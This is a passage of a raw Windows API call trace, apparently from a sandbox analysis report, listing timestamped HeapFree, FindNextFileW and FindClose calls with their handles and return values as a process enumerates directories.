HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.710] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.711] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.849] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.849] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.849] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0144.849] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.849] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0144.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.918] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0da30 | out: lpFindFileData=0x3a0da30) returned 0 [0144.918] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0144.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0144.918] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 0 [0144.918] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0144.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.918] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0144.920] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 0 [0144.920] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0144.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.920] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.923] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.923] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0144.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.923] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.925] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.925] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.925] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.925] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.925] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.925] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.925] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.925] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.926] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.926] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.926] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.926] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.926] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.926] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.929] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.929] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.929] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.929] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.929] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.929] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.930] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.930] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.930] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.930] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.930] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.930] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.930] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.930] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0144.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0144.930] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.931] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0144.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.931] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.931] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0144.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.932] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.933] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.933] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.934] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0144.934] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.934] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0144.934] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.934] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.934] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0144.934] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.934] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.947] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.947] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.947] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.947] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.948] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.948] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.949] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.949] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.950] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.950] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.950] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.950] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.951] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.951] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.951] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.951] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.952] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.952] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.952] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.952] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.953] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0144.953] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0144.954] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.954] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.954] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0144.954] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0144.954] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.954] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0144.954] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.954] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.954] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0144.954] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.955] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.956] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.956] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.037] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0145.037] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0145.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0145.038] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0145.038] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0145.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.038] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.038] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.038] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.039] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.039] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.039] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.039] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.039] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.039] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.039] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.039] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.040] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.040] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.040] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0145.040] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0145.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.040] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0145.040] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0145.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0145.042] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0145.042] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.042] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.193] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0145.193] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0145.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0145.193] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0145.194] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0145.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.194] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.194] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.194] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.194] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.194] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.194] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.194] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.195] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.195] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.195] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.195] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, 